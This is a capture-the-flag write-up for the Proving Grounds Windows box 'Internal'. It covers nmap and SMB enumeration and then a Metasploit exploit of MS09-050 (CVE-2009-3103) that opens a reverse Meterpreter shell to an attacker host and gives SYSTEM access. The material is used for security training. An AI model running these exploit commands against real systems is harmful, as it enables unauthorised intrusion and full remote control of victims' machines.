# Internal Writeup - Proving Grounds

> Easy Windows box, an unpatched Windows Server 2008 SP1 host where the MS09-050 SMBv2 negotiate function index overflow (CVE-2009-3103) gives an unauthenticated SYSTEM shell in a single step.

- **URL:** https://hackindex.io/writeups/internal
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Windows
- **Tags:** smb, rce, cve-2009-3103
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Internal is an unpatched Windows Server 2008 SP1 host where the SMBv2 negotiate function index overflow (MS09-050, CVE-2009-3103) gives an unauthenticated SYSTEM shell in a single step.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT      STATE SERVICE       VERSION
# 53/tcp    open  domain        Microsoft DNS 6.0.6001
# 135/tcp   open  msrpc         Microsoft Windows RPC
# 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
# 445/tcp   open  microsoft-ds  Windows Server (R) 2008 Standard SP1 (workgroup: WORKGROUP)
# 3389/tcp  open  ms-wbt-server Microsoft Terminal Service
# 5357/tcp  open  http          Microsoft HTTPAPI httpd 2.0
# 49152-49158/tcp open msrpc    Microsoft Windows RPC
# <snip>
# | smb-os-discovery:
# |   OS: Windows Server (R) 2008 Standard 6001 Service Pack 1
# |_  Computer name: internal
```

An old Windows Server 2008 SP1 host with SMB, RPC, and RDP exposed, no web service to attack. SMB is the only realistic foothold.

## Enumeration

### SMB null session

Check what unauthenticated and guest access reveal.

```bash
nxc smb $TARGET_IP -u '' -p '' --shares
nxc smb $TARGET_IP -u 'guest' -p '' --shares
# SMB  $TARGET_IP  445  INTERNAL  [*] Windows Server (R) 2008 Standard 6001 SP1 x32 (signing:False) (SMBv1:True) (Null Auth:True)
# SMB  $TARGET_IP  445  INTERNAL  [+] internal\:
# SMB  $TARGET_IP  445  INTERNAL  [-] Error enumerating shares: STATUS_ACCESS_DENIED
# SMB  $TARGET_IP  445  INTERNAL  [-] internal\guest: STATUS_ACCOUNT_DISABLED
```

Null sessions are allowed and SMBv1 is enabled, but share enumeration and the guest account are both locked down. SMBv1 on an unpatched Windows Server 2008 SP1 host is a strong signal for a known SMB vulnerability.

## Exploitation

### MS09-050 SMB2 negotiate function index overflow

Metasploit ships a reliable exploit for this exact SMBv2 negotiate vulnerability (CVE-2009-3103).

```bash
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
set rhosts $TARGET_IP
set lhost $ATTACKER_IP
run
# [*] Started reverse TCP handler on $ATTACKER_IP:4444
# [*] $TARGET_IP:445 - Connecting to the target ($TARGET_IP:445)...
# [*] $TARGET_IP:445 - Sending the exploit packet (952 bytes)...
# [*] $TARGET_IP:445 - Waiting up to 180 seconds for exploit to trigger...
# [*] Sending stage (199238 bytes) to $TARGET_IP
# [*] Meterpreter session 1 opened ($ATTACKER_IP:4444 -> $TARGET_IP:49159)
#
# meterpreter > shell
# Process 2584 created.
```

The negotiate function index overflow lands straight in a SYSTEM-level shell, no separate privilege escalation needed.

Related

## References

- [CVE-2009-3103](https://nvd.nist.gov/vuln/detail/CVE-2009-3103) - Array index error in the SMBv2 negotiate implementation in srv2.sys leading to remote code execution.
- [Microsoft Security Bulletin MS09-050](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-050) - Vendor advisory for the SMBv2 vulnerability.
- [Rapid7 Metasploit Module](https://www.rapid7.com/db/modules/exploit/windows/smb/ms09_050_smb2_negotiate_func_index/) - The exploit module used against the vulnerable SMBv2 negotiate handler.